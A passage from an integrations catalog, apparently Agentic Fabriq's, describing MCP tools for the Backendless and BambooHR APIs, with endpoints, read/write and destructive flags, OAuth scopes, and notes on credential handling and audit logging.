end user. Backendless also accepts an end-user `user-token` header here; Agentic Fabriq does not send one, because a session token in a tool argument is credential material. A 403 or an empty result here is a ROLE permission set in Backendless Console, not a bad key. GET /api/v1/backendless/data/{table_name}/{parentObjectId}/{relationName}. Scopes: api. backendless_post_data_by_table_name (write) — Save an object via POST /data/{table_name}. Save an object into a Data table. The body is the object itself -- any properties the table accepts -- and Backendless creates the table's columns on first use in a dynamic schema. The reply adds `objectId`, which identifies the object for every later read, update or delete, and `ownerId`. Runs as this Backendless application's RestUser role -- the role a REST API Key is auto-assigned -- not as any end user. Backendless also accepts an end-user `user-token` header here; Agentic Fabriq does not send one, because a session token in a tool argument is credential material. A 403 or an empty result here is a ROLE permission set in Backendless Console, not a bad key. POST /api/v1/backendless/data/{table_name}. Scopes: api. backendless_post_users_login (write) — Log an end user in via POST /users/login. Authenticate one of this application's END USERS with their login and password. `login` must be the value of the column marked as identity (email, in a default schema). The reply is the user object plus a `user-token` session token. CREDENTIAL MATERIAL IN THE ARGUMENTS: this call carries an end user's secret (a password, or a login provider's access token) in its body, and every tool call -- arguments included -- is recorded in Agentic Fabriq's audit trail. Use it only for end users of this Backendless application; it is not how this connection authenticates. POST /api/v1/backendless/users/login. Scopes: api. backendless_post_users_oauth_by_providercode_login (write) — Log an end user in with a social provider via POST /users/oauth/{providerCode}/login. Exchange a login provider's access token for a Backendless user, creating the user on first sight. `providerCode` is the provider's code as configured in this application's Console under Users > Login Providers (facebook, googleplus, github, linkedin, ...). This is Backendless acting as the OAuth CLIENT of that provider on behalf of this application's end users; it is not a way to connect Agentic Fabriq to Backendless. CREDENTIAL MATERIAL IN THE ARGUMENTS: this call carries an end user's secret (a password, or a login provider's access token) in its body, and every tool call -- arguments included -- is recorded in Agentic Fabriq's audit trail. Use it only for end users of this Backendless application; it is not how this connection authenticates. POST /api/v1/backendless/users/oauth/{providerCode}/login. Scopes: api. backendless_post_users_oauth_by_providercode_request_url (read) — Get a social-login authorization URL via POST /users/oauth/{providerCode}/request_url. Ask Backendless for the URL an end user should be sent to in order to authenticate with a configured login provider. `providerCode` is the provider's code from Console > Users > Login Providers. Send `redirect: false` with `contentType: application/json` to get the URL back as JSON; omitting `redirect` makes Backendless answer with an HTTP redirect instead. POST /api/v1/backendless/users/oauth/{providerCode}/request_url. Scopes: api. backendless_post_users_register (write) — Register an end user via POST /users/register. Create a user in this Backendless application's Users table. The body carries the new user's properties; `password` is required and `email` is the identity column in a default schema. `objectId` is used only to convert an existing GUEST user account into a registered one. CREDENTIAL MATERIAL IN THE ARGUMENTS: this call carries an end user's secret (a password, or a login provider's access token) in its body, and every tool call -- arguments included -- is recorded in Agentic Fabriq's audit trail. Use it only for end users of this Backendless application; it is not how this connection authenticates. Backendless echoes the submitted user object back on success, `password` included. Agentic Fabriq REMOVES that field from the reply and puts `[redacted by Agentic Fabriq]` in its place, so the password does not reach the model's context or the audit trail; nothing else in the object is touched. You supplied the value, so nothing is lost -- and the password is still in this call's ARGUMENTS, which the audit trail does record. POST /api/v1/backendless/users/register. Scopes: api. backendless_put_data_by_table_name_permissions_by_objectid_bulk (write) — Set an object's ACL for several users via PUT /data/{table_name}/permissions/{objectId}/bulk. Replace the access-control list of ONE object for several users at once. The body is an ARRAY of entries, each naming a `userId`, a `permission` and a `permissionType` of GRANT or DENY. This changes who can reach that object for every caller of this Backendless application. Changes shared security configuration of the Backendless application. It takes effect for every client of that application, including its mobile and web SDKs, not only for this connection. PUT /api/v1/backendless/data/{table_name}/permissions/{objectId}/bulk. Scopes: api. backendless_put_data_by_table_name_permissions_by_permission_type (write) — Set table permissions via PUT /data/{table_name}/permissions/{permission_type}. GRANT or DENY a table-level permission for a role or a user. `permission_type` is GRANT or DENY; the body's `permission` names the operation being governed (ADD, UPDATE, FIND, REMOVE, DESCRIBE, PERMISSION, LOAD_RELATIONS, ADD_RELATION, DELETE_RELATION, UPSERT, or `*` for all of them) and `role` or `user` names who it applies to. This changes who can reach the whole TABLE, for every caller of this Backendless application -- not only this connection. Changes shared security configuration of the Backendless application. It takes effect for every client of that application, including its mobile and web SDKs, not only for this connection. PUT /api/v1/backendless/data/{table_name}/permissions/{permission_type}. Scopes: api. backendless_put_data_by_table_name_permissions_by_permission_type_by_objectid (write) — Set an object's ACL for one grantee via PUT /data/{table_name}/permissions/{permission_type}/{objectId}. GRANT or DENY one permission on ONE object for a single grantee. `permission_type` is GRANT or DENY and `objectId` names the object. This changes who can reach that object for every caller of this Backendless application. Changes shared security configuration of the Backendless application. It takes effect for every client of that application, including its mobile and web SDKs, not only for this connection. PUT /api/v1/backendless/data/{table_name}/permissions/{permission_type}/{objectId}. Scopes: api. ================================================================================ ## BambooHR URL: https://www.agenticfabriq.com/integrations/bamboohr Section: Integrated Tools BambooHR — 297 MCP tools Provider key: bamboohr. Scopes: alerts, alerts.write, benefit, company:details, company:details.write, company:info, company_file.write, compensation_benchmarks, compensation_benchmarks.write, compensation_tools, employee, employee.write, employee:custom_fields, employee:custom_fields.write, employee:file.write, employee_verifications, employee_verifications.write, equity, equity.write, field, field.write, goal, goal.write, hiring:applications, hiring:applications.write, holidays, holidays.write, meta, onboarding, onboarding.write, pay_grades_and_bands, pay_grades_and_bands.write, planning_cycles, planning_cycles.write, report, scheduling:schedules, scheduling:schedules.write, scheduling:shifts, scheduling:shifts.write, time_off, time_off.write, time_tracking, time_tracking.write, time_tracking:breaks, time_tracking:breaks.write, time_tracking:configurations, time_tracking:configurations.write, time_tracking:employees, time_tracking:employees.write, time_tracking:kiosks, time_tracking:kiosks.write, time_tracking:project, time_tracking:project.write, time_tracking:shift_differentials, time_tracking:shift_differentials.write, time_tracking:time_clocks, time_tracking:time_clocks.write, time_tracking:timesheets, time_tracking:timesheets.write, total_rewards, total_rewards.write, training, training.write, webhooks, webhooks.write. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. bamboohr_delete_api_v1_compensation_benchmarks_by_id (write, destructive) — Delete compensation benchmark via DELETE /api/v1/compensation/benchmarks/{id} DELETE /api/v1/bamboohr/api/v1/compensation/benchmarks/{id}. Scopes: compensation_benchmarks.write. bamboohr_delete_api_v1_compensation_benchmarks_sources (write, destructive) — Delete compensation benchmark source via DELETE /api/v1/compensation/benchmarks/sources DELETE /api/v1/bamboohr/api/v1/compensation/benchmarks/sources. Scopes: compensation_benchmarks.write. bamboohr_delete_api_v1_compensation_planning_cycles_by_id (write, destructive) — Delete compensation planning cycle via DELETE /api/v1/compensation/planning_cycles/{id} DELETE /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}. Scopes: planning_cycles.write. bamboohr_delete_api_v1_compensation_planning_cycles_by_id_admins_by_employeeid (write, destructive) — Remove cycle admin via DELETE /api/v1/compensation/planning_cycles/{id}/admins/{employeeId} DELETE /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/admins/{employeeId}. Scopes: planning_cycles.write. bamboohr_delete_api_v1_compensation_planning_cycles_by_id_approvals_employee_by_employeeid (write, destructive) — Remove from approval flow via DELETE /api/v1/compensation/planning_cycles/{id}/approvals/employee/{employeeId} DELETE /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/approvals/employee/{employeeId}. Scopes: planning_cycles.write. bamboohr_delete_api_v1_compensation_planning_cycles_by_id_employees (write, destructive) — Remove employees from cycle via DELETE /api/v1/compensation/planning_cycles/{id}/employees DELETE /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/employees. Scopes: planning_cycles.write. bamboohr_delete_api_v1_compensation_total_rewards_custom_disclaimer (write, destructive) — Remove total rewards custom disclaimer via DELETE /api/v1/compensation/total_rewards/custom_disclaimer DELETE /api/v1/bamboohr/api/v1/compensation/total_rewards/custom_disclaimer. Scopes: total_rewards.write. bamboohr_delete_api_v1_compensation_total_rewards_employees (write, destructive) — Remove employees from total rewards via DELETE /api/v1/compensation/total_rewards/employees DELETE /api/v1/bamboohr/api/v1/compensation/total_rewards/employees. Scopes: total_rewards.write. bamboohr_delete_api_v1_employees_by_id (write, destructive) — Delete employee via DELETE /api/v1/employees/{id} DELETE /api/v1/bamboohr/api/v1/employees/{id}. Scopes: employee.write. bamboohr_delete_api_v1_employees_by_id_files_by_fileid (write, destructive) — Delete employee file via DELETE /api/v1/employees/{id}/files/{fileId} DELETE /api/v1/bamboohr/api/v1/employees/{id}/files/{fileId}. Scopes: employee:file.write. bamboohr_delete_api_v1_employees_by_id_tables_by_table_by_rowid (write, destructive) — Delete employee table row via DELETE /api/v1/employees/{id}/tables/{table}/{rowId}. Also authorised by: employee:job.write; employee:compensation.write; employee:custom_fields.write; employee:custom_fields_encrypted.write; employee:assets.write; employee:emergency_contacts.write; sensitive_employee:creditcards.write; employee:education.write DELETE /api/v1/bamboohr/api/v1/employees/{id}/tables/{table}/{rowId}. Scopes: employee.write. bamboohr_delete_api_v1_files_by_fileid (write, destructive) — Delete company file via DELETE /api/v1/files/{fileId} DELETE /api/v1/bamboohr/api/v1/files/{fileId}. Scopes: company_file.write. bamboohr_delete_api_v1_holidays_by_id (write, destructive) — Delete company holiday via DELETE /api/v1/holidays/{id} DELETE /api/v1/bamboohr/api/v1/holidays/{id}. Scopes: holidays.write. bamboohr_delete_api_v1_hris_custom_fields_by_customfieldid (write, destructive) — Archive custom field via DELETE /api/v1/hris/custom-fields/{customFieldId} DELETE /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}. Scopes: employee:custom_fields.write. bamboohr_delete_api_v1_hris_custom_fields_by_customfieldid_list_values_by_listvalueid (write, destructive) — Delete custom field list value via DELETE /api/v1/hris/custom-fields/{customFieldId}/list-values/{listValueId} DELETE /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}/list-values/{listValueId}. Scopes: employee:custom_fields.write. bamboohr_delete_api_v1_hris_org_locations_by_id (write, destructive) — Delete a job location via DELETE /api/v1/hris/org/locations/{id} DELETE /api/v1/bamboohr/api/v1/hris/org/locations/{id}. Scopes: field.write. bamboohr_delete_api_v1_new_hire_packets_by_id (write, destructive) — Delete new hire packet via DELETE /api/v1/new-hire-packets/{id} DELETE /api/v1/bamboohr/api/v1/new-hire-packets/{id}. Scopes: onboarding.write. bamboohr_delete_api_v1_pay_grades_and_bands_levels_by_segment (write, destructive) — Delete compensation level groups or level via DELETE /api/v1/pay-grades-and-bands/levels/{segment} DELETE /api/v1/bamboohr/api/v1/pay-grades-and-bands/levels/{segment}. Scopes: pay_grades_and_bands.write. bamboohr_delete_api_v1_performance_employees_by_employeeid_goals_by_goalid (write, destructive) — Delete goal via DELETE /api/v1/performance/employees/{employeeId}/goals/{goalId} DELETE /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}. Scopes: goal.write. bamboohr_delete_api_v1_performance_employees_by_employeeid_goals_by_goalid_comments_by_commentid (write, destructive) — Delete goal comment via DELETE /api/v1/performance/employees/{employeeId}/goals/{goalId}/comments/{commentId} DELETE /api/v1/bamboohr/api/v1/performance/employees/{employeeId}/goals/{goalId}/comments/{commentId}. Scopes: goal.write. bamboohr_delete_api_v1_scheduling_schedules_by_id (write, destructive) — Delete schedule via DELETE /api/v1/scheduling/schedules/{id}. Also authorised by: time_tracking.write DELETE /api/v1/bamboohr/api/v1/scheduling/schedules/{id}. Scopes: scheduling:schedules.write. bamboohr_delete_api_v1_scheduling_shifts_by_id (write, destructive) — Delete shift via DELETE /api/v1/scheduling/shifts/{id}. Also authorised by: time_tracking.write DELETE /api/v1/bamboohr/api/v1/scheduling/shifts/{id}. Scopes: scheduling:shifts.write. bamboohr_delete_api_v1_time_tracking_break_policies_by_id (write, destructive) — Delete break policy via DELETE /api/v1/time-tracking/break-policies/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/break-policies/{id}. Scopes: time_tracking:breaks.write. bamboohr_delete_api_v1_time_tracking_breaks_by_id (write, destructive) — Delete break via DELETE /api/v1/time-tracking/breaks/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/breaks/{id}. Scopes: time_tracking:breaks.write. bamboohr_delete_api_v1_time_tracking_clock_entries_by_id (write, destructive) — Delete clock entry via DELETE /api/v1/time-tracking/clock-entries/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/clock-entries/{id}. Scopes: time_tracking:timesheets.write. bamboohr_delete_api_v1_time_tracking_configurations_by_id (write, destructive) — Delete configuration via DELETE /api/v1/time-tracking/configurations/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/configurations/{id}. Scopes: time_tracking:configurations.write. bamboohr_delete_api_v1_time_tracking_hour_entries_by_id (write, destructive) — Delete hour entry via DELETE /api/v1/time-tracking/hour-entries/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/hour-entries/{id}. Scopes: time_tracking:timesheets.write. bamboohr_delete_api_v1_time_tracking_kiosks_by_id (write, destructive) — Delete time tracking kiosk via DELETE /api/v1/time-tracking/kiosks/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/kiosks/{id}. Scopes: time_tracking:kiosks.write. bamboohr_delete_api_v1_time_tracking_projects_by_id (write, destructive) — Delete time tracking project via DELETE /api/v1/time-tracking/projects/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/projects/{id}. Scopes: time_tracking:project.write. bamboohr_delete_api_v1_time_tracking_shift_differentials_by_id (write, destructive) — Delete time tracking shift differential via DELETE /api/v1/time-tracking/shift-differentials/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/shift-differentials/{id}. Scopes: time_tracking:shift_differentials.write. bamboohr_delete_api_v1_time_tracking_tasks_by_id (write, destructive) — Delete time tracking task via DELETE /api/v1/time-tracking/tasks/{id} DELETE /api/v1/bamboohr/api/v1/time-tracking/tasks/{id}. Scopes: time_tracking:project.write. bamboohr_delete_api_v1_timetracking_delete_by_id (write, destructive) — Delete hour record via DELETE /api/v1/timetracking/delete/{id} DELETE /api/v1/bamboohr/api/v1/timetracking/delete/{id}. Scopes: time_tracking.write. bamboohr_delete_api_v1_training_category_by_trainingcategoryid (write, destructive) — Delete training category via DELETE /api/v1/training/category/{trainingCategoryId} DELETE /api/v1/bamboohr/api/v1/training/category/{trainingCategoryId}. Scopes: training.write. bamboohr_delete_api_v1_training_record_by_employeetrainingrecordid (write, destructive) — Delete employee training record via DELETE /api/v1/training/record/{employeeTrainingRecordId} DELETE /api/v1/bamboohr/api/v1/training/record/{employeeTrainingRecordId}. Scopes: training.write. bamboohr_delete_api_v1_training_type_by_trainingtypeid (write, destructive) — Delete training type via DELETE /api/v1/training/type/{trainingTypeId} DELETE /api/v1/bamboohr/api/v1/training/type/{trainingTypeId}. Scopes: training.write. bamboohr_delete_api_v1_webhooks_by_id (write, destructive) — Delete webhook via DELETE /api/v1/webhooks/{id}. Also authorised by: webhooks DELETE /api/v1/bamboohr/api/v1/webhooks/{id}. Scopes: webhooks.write. bamboohr_get_api_v1_1_employees_by_employeeid_time_off_policies (read) — List employee time off policies (v1.1) via GET /api/v1_1/employees/{employeeId}/time_off/policies GET /api/v1/bamboohr/api/v1_1/employees/{employeeId}/time_off/policies. Scopes: time_off. bamboohr_get_api_v1_1_performance_employees_by_employeeid_goals_aggregate (read) — Get goals aggregate (v1.1) via GET /api/v1_1/performance/employees/{employeeId}/goals/aggregate GET /api/v1/bamboohr/api/v1_1/performance/employees/{employeeId}/goals/aggregate. Scopes: goal. bamboohr_get_api_v1_1_performance_employees_by_employeeid_goals_filters (read) — Get goal filters (v1.1) via GET /api/v1_1/performance/employees/{employeeId}/goals/filters GET /api/v1/bamboohr/api/v1_1/performance/employees/{employeeId}/goals/filters. Scopes: goal. bamboohr_get_api_v1_2_datasets (read) — List datasets (v1.2) via GET /api/v1_2/datasets GET /api/v1/bamboohr/api/v1_2/datasets. Scopes: report. bamboohr_get_api_v1_2_datasets_by_datasetname_fields (read) — Get fields from dataset (v1.2) via GET /api/v1_2/datasets/{datasetName}/fields GET /api/v1/bamboohr/api/v1_2/datasets/{datasetName}/fields. Scopes: report. bamboohr_get_api_v1_2_performance_employees_by_employeeid_goals_aggregate (read) — Get goals aggregate (v1.2) via GET /api/v1_2/performance/employees/{employeeId}/goals/aggregate GET /api/v1/bamboohr/api/v1_2/performance/employees/{employeeId}/goals/aggregate. Scopes: goal. bamboohr_get_api_v1_2_performance_employees_by_employeeid_goals_filters (read) — Get goal filters (v1.2) via GET /api/v1_2/performance/employees/{employeeId}/goals/filters GET /api/v1/bamboohr/api/v1_2/performance/employees/{employeeId}/goals/filters. Scopes: goal. bamboohr_get_api_v1_alert_configurations (read) — List alert configurations via GET /api/v1/alert-configurations GET /api/v1/bamboohr/api/v1/alert-configurations. Scopes: alerts. bamboohr_get_api_v1_alert_configurations_by_id (read) — Get alert configuration via GET /api/v1/alert-configurations/{id} GET /api/v1/bamboohr/api/v1/alert-configurations/{id}. Scopes: alerts. bamboohr_get_api_v1_alerts (read) — List alert templates via GET /api/v1/alerts GET /api/v1/bamboohr/api/v1/alerts. Scopes: alerts. bamboohr_get_api_v1_applicant_tracking_applications (read) — Get job applications via GET /api/v1/applicant_tracking/applications GET /api/v1/bamboohr/api/v1/applicant_tracking/applications. Scopes: hiring:applications. bamboohr_get_api_v1_applicant_tracking_applications_by_applicationid (read) — Get job application details via GET /api/v1/applicant_tracking/applications/{applicationId} GET /api/v1/bamboohr/api/v1/applicant_tracking/applications/{applicationId}. Scopes: hiring:applications. bamboohr_get_api_v1_applicant_tracking_jobs (read) — Get job summaries via GET /api/v1/applicant_tracking/jobs GET /api/v1/bamboohr/api/v1/applicant_tracking/jobs. Scopes: hiring:applications. bamboohr_get_api_v1_applicant_tracking_locations (read) — Get company locations via GET /api/v1/applicant_tracking/locations GET /api/v1/bamboohr/api/v1/applicant_tracking/locations. Scopes: hiring:applications. bamboohr_get_api_v1_applicant_tracking_statuses (read) — Get applicant statuses via GET /api/v1/applicant_tracking/statuses GET /api/v1/bamboohr/api/v1/applicant_tracking/statuses. Scopes: hiring:applications. bamboohr_get_api_v1_benefit_company_benefit (read) — List company benefits via GET /api/v1/benefit/company_benefit GET /api/v1/bamboohr/api/v1/benefit/company_benefit. Scopes: benefit. bamboohr_get_api_v1_benefit_employee_benefit (read) — List employee benefits via GET /api/v1/benefit/employee_benefit GET /api/v1/bamboohr/api/v1/benefit/employee_benefit. Scopes: benefit. bamboohr_get_api_v1_benefit_member_benefit (read) — List member benefit events via GET /api/v1/benefit/member_benefit GET /api/v1/bamboohr/api/v1/benefit/member_benefit. Scopes: benefit. bamboohr_get_api_v1_benefits_member_benefits (read) — List member benefits via GET /api/v1/benefits/member-benefits GET /api/v1/bamboohr/api/v1/benefits/member-benefits. Scopes: benefit. bamboohr_get_api_v1_benefits_settings_deduction_types_all (read) — List benefit deduction types via GET /api/v1/benefits/settings/deduction_types/all GET /api/v1/bamboohr/api/v1/benefits/settings/deduction_types/all. Scopes: benefit. bamboohr_get_api_v1_company_information (read) — Get company information via GET /api/v1/company_information GET /api/v1/bamboohr/api/v1/company_information. Scopes: company:info. bamboohr_get_api_v1_company_profile_integrations (read) — Get company profile integrations via GET /api/v1/company-profile-integrations GET /api/v1/bamboohr/api/v1/company-profile-integrations. Scopes: company:details. bamboohr_get_api_v1_compensation_benchmarks (read) — List compensation benchmarks via GET /api/v1/compensation/benchmarks GET /api/v1/bamboohr/api/v1/compensation/benchmarks. Scopes: compensation_benchmarks. bamboohr_get_api_v1_compensation_benchmarks_details (read) — Get compensation benchmark details via GET /api/v1/compensation/benchmarks/details GET /api/v1/bamboohr/api/v1/compensation/benchmarks/details. Scopes: compensation_benchmarks. bamboohr_get_api_v1_compensation_benchmarks_details_export (read) — Export compensation benchmark details via GET /api/v1/compensation/benchmarks/details/export GET /api/v1/bamboohr/api/v1/compensation/benchmarks/details/export. Scopes: compensation_benchmarks. bamboohr_get_api_v1_compensation_benchmarks_sources (read) — List compensation benchmark sources via GET /api/v1/compensation/benchmarks/sources GET /api/v1/bamboohr/api/v1/compensation/benchmarks/sources. Scopes: compensation_benchmarks. bamboohr_get_api_v1_compensation_equity_settings (read) — Get company equity settings via GET /api/v1/compensation/equity/settings GET /api/v1/bamboohr/api/v1/compensation/equity/settings. Scopes: equity. bamboohr_get_api_v1_compensation_planning_cycles (read) — List compensation planning cycles via GET /api/v1/compensation/planning_cycles GET /api/v1/bamboohr/api/v1/compensation/planning_cycles. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id (read) — Get compensation planning cycle details via GET /api/v1/compensation/planning_cycles/{id} GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_admins (read) — List compensation planning cycle admins via GET /api/v1/compensation/planning_cycles/{id}/admins GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/admins. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_approvals (read) — Get compensation planning approval flows via GET /api/v1/compensation/planning_cycles/{id}/approvals GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/approvals. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_budgets (read) — Get compensation planning cycle budgets via GET /api/v1/compensation/planning_cycles/{id}/budgets GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/budgets. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_change_comm (read) — Get change communication letter details via GET /api/v1/compensation/planning_cycles/{id}/change_comm GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/change_comm. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_employees (read) — List employees in compensation planning cycle via GET /api/v1/compensation/planning_cycles/{id}/employees GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/employees. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_summary (read) — Get compensation planning cycle summary via GET /api/v1/compensation/planning_cycles/{id}/summary GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/summary. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_worksheet (read) — Get compensation planning cycle worksheet via GET /api/v1/compensation/planning_cycles/{id}/worksheet GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/worksheet. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_planning_cycles_by_id_worksheet_export (read) — Export compensation planning cycle worksheet to CSV via GET /api/v1/compensation/planning_cycles/{id}/worksheet/export GET /api/v1/bamboohr/api/v1/compensation/planning_cycles/{id}/worksheet/export. Scopes: planning_cycles. bamboohr_get_api_v1_compensation_tools (read) — List available compensation tools via GET /api/v1/compensation/tools GET /api/v1/bamboohr/api/v1/compensation/tools. Scopes: compensation_tools. bamboohr_get_api_v1_compensation_total_rewards_by_employeeid (read) — Check total rewards profile availability via GET /api/v1/compensation/total_rewards/{employeeId} GET /api/v1/bamboohr/api/v1/compensation/total_rewards/{employeeId}. Scopes: total_rewards. bamboohr_get_api_v1_compensation_total_rewards_by_employeeid_statement (read) — Get total rewards statement via GET /api/v1/compensation/total_rewards/{employeeId}/statement GET /api/v1/bamboohr/api/v1/compensation/total_rewards/{employeeId}/statement. Scopes: total_rewards. bamboohr_get_api_v1_custom_reports (read) — List reports via GET /api/v1/custom-reports GET /api/v1/bamboohr/api/v1/custom-reports. Scopes: report. bamboohr_get_api_v1_custom_reports_by_reportid (read) — Get report by ID via GET /api/v1/custom-reports/{reportId} GET /api/v1/bamboohr/api/v1/custom-reports/{reportId}. Scopes: report. bamboohr_get_api_v1_custom_reports_legacy_field_map (read) — Get legacy report field map via GET /api/v1/custom-reports/legacy-field-map GET /api/v1/bamboohr/api/v1/custom-reports/legacy-field-map. Scopes: report. bamboohr_get_api_v1_custom_reports_legacy_id_map (read) — Get legacy report ID map via GET /api/v1/custom-reports/legacy-id-map GET /api/v1/bamboohr/api/v1/custom-reports/legacy-id-map. Scopes: report. bamboohr_get_api_v1_datasets (read) — List datasets (v1) via GET /api/v1/datasets GET /api/v1/bamboohr/api/v1/datasets. Scopes: report. bamboohr_get_api_v1_datasets_by_datasetname_fields (read) — Get fields from dataset (v1) via GET /api/v1/datasets/{datasetName}/fields GET /api/v1/bamboohr/api/v1/datasets/{datasetName}/fields. Scopes: report. bamboohr_get_api_v1_employee_verifications_employees_by_employeeid (read) — List employee verification records for an employee via GET /api/v1/employee-verifications/employees/{employeeId} GET /api/v1/bamboohr/api/v1/employee-verifications/employees/{employeeId}. Scopes: employee_verifications. bamboohr_get_api_v1_employee_verifications_integration (read) — Get employee verification integration status via GET /api/v1/employee-verifications/integration GET /api/v1/bamboohr/api/v1/employee-verifications/integration. Scopes: employee_verifications. bamboohr_get_api_v1_employees (read) — List employees via GET /api/v1/employees. Also authorised by: employee:name; employee:job; employee_directory; sensitive_employee:protected_info GET /api/v1/bamboohr/api/v1/employees. Scopes: employee. bamboohr_get_api_v1_employees_by_employeeid_onboarding_experiences (read) — List employee onboarding experiences via GET /api/v1/employees/{employeeId}/onboarding-experiences GET /api/v1/bamboohr/api/v1/employees/{employeeId}/onboarding-experiences. Scopes: onboarding. bamboohr_get_api_v1_employees_by_employeeid_onboarding_experiences_by_onboardingexperienceid (read) — Get employee onboarding experience by id via GET /api/v1/employees/{employeeId}/onboarding-experiences/{onboardingExperienceId} GET /api/v1/bamboohr/api/v1/employees/{employeeId}/onboarding-experiences/{onboardingExperienceId}. Scopes: onboarding. bamboohr_get_api_v1_employees_by_employeeid_time_off_policies (read) — List employee time off policies (v1) via GET /api/v1/employees/{employeeId}/time_off/policies GET /api/v1/bamboohr/api/v1/employees/{employeeId}/time_off/policies. Scopes: time_off. bamboohr_get_api_v1_holidays (read) — List company holidays via GET /api/v1/holidays GET /api/v1/bamboohr/api/v1/holidays. Scopes: holidays. bamboohr_get_api_v1_holidays_by_id (read) — Get company holiday via GET /api/v1/holidays/{id} GET /api/v1/bamboohr/api/v1/holidays/{id}. Scopes: holidays. bamboohr_get_api_v1_holidays_catalog (read) — List catalog holidays via GET /api/v1/holidays/catalog GET /api/v1/bamboohr/api/v1/holidays/catalog. Scopes: holidays. bamboohr_get_api_v1_holidays_catalog_by_uuid (read) — Get catalog holiday via GET /api/v1/holidays/catalog/{uuid} GET /api/v1/bamboohr/api/v1/holidays/catalog/{uuid}. Scopes: holidays. bamboohr_get_api_v1_hris_custom_fields (read) — List custom fields via GET /api/v1/hris/custom-fields GET /api/v1/bamboohr/api/v1/hris/custom-fields. Scopes: employee:custom_fields. bamboohr_get_api_v1_hris_custom_fields_archived (read) — List archived custom fields via GET /api/v1/hris/custom-fields/archived GET /api/v1/bamboohr/api/v1/hris/custom-fields/archived. Scopes: employee:custom_fields. bamboohr_get_api_v1_hris_custom_fields_by_customfieldid (read) — Get custom field via GET /api/v1/hris/custom-fields/{customFieldId} GET /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}. Scopes: employee:custom_fields. bamboohr_get_api_v1_hris_custom_fields_by_customfieldid_list_values (read) — List custom field list values via GET /api/v1/hris/custom-fields/{customFieldId}/list-values GET /api/v1/bamboohr/api/v1/hris/custom-fields/{customFieldId}/list-values. Scopes: employee:custom_fields. bamboohr_get_api_v1_hris_custom_fields_types (read) — List custom field types via GET /api/v1/hris/custom-fields/types GET /api/v1/bamboohr/api/v1/hris/custom-fields/types. Scopes: employee:custom_fields. bamboohr_get_api_v1_hris_org_locations (read) — List job locations via GET /api/v1/hris/org/locations GET /api/v1/bamboohr/api/v1/hris/org/locations. Scopes: field. bamboohr_get_api_v1_hris_org_locations_by_id (read) — Get a job location via GET /api/v1/hris/org/locations/{id} GET /api/v1/bamboohr/api/v1/hris/org/locations/{id}. Scopes: field. bamboohr_get_api_v1_meta_bank_holidays (read) — List bank holidays via GET /api/v1/meta/bank-holidays GET /api/v1/bamboohr/api/v1/meta/bank-holidays. Scopes: meta. bamboohr_get_api_v1_meta_company (read) — Get company properties via GET /api/v1/meta/company GET /api/v1/bamboohr/api/v1/meta/company. Scopes: company:info. bamboohr_get_api_v1_meta_countries_by_id (read) — Get country by ID via GET /api/v1/meta/countries/{id} GET /api/v1/bamboohr/api/v1/meta/countries/{id}. Scopes: meta. bamboohr_get_api_v1_meta_countries_options (read) — Get countries via GET /api/v1/meta/countries/options. Also authorised by: meta GET /api/v1/bamboohr/api/v1/meta/countries/options. Scopes: field. bamboohr_get_api_v1_meta_currency_conversions (read) — Get currency conversion rates via GET /api/v1/meta/currency-conversions GET /api/v1/bamboohr/api/v1/meta/currency-conversions. Scopes: meta. bamboohr_get_api_v1_meta_industries (read) — List industries via GET /api/v1/meta/industries GET /api/v1/bamboohr/api/v1/meta/industries. Scopes: meta. bamboohr_get_api_v1_meta_provinces (read) — Get all provinces via GET /api/v1/meta/provinces GET /api/v1/bamboohr/api/v1/meta/provinces. Scopes: meta. bamboohr_get_api_v1_meta_provinces_by_countryid (read) — List states and provinces for a country by country ID via GET /api/v1/meta/provinces/{countryId} GET /api/v1/bamboohr/api/v1/meta/provinces/{countryId}. Scopes: field. bamboohr_get_api_v1_meta_time_off_policies (read) — List time off policies via GET /api/v1/meta/time_off/policies GET /api/v1/bamboohr/api/v1/meta/time_off/policies. Scopes: time_off. bamboohr_get_api_v1_meta_time_off_types (read) — List time off types via GET /api/v1/meta/time_off/types GET /api/v1/bamboohr/api/v1/meta/time_off/types. Scopes: time_off. 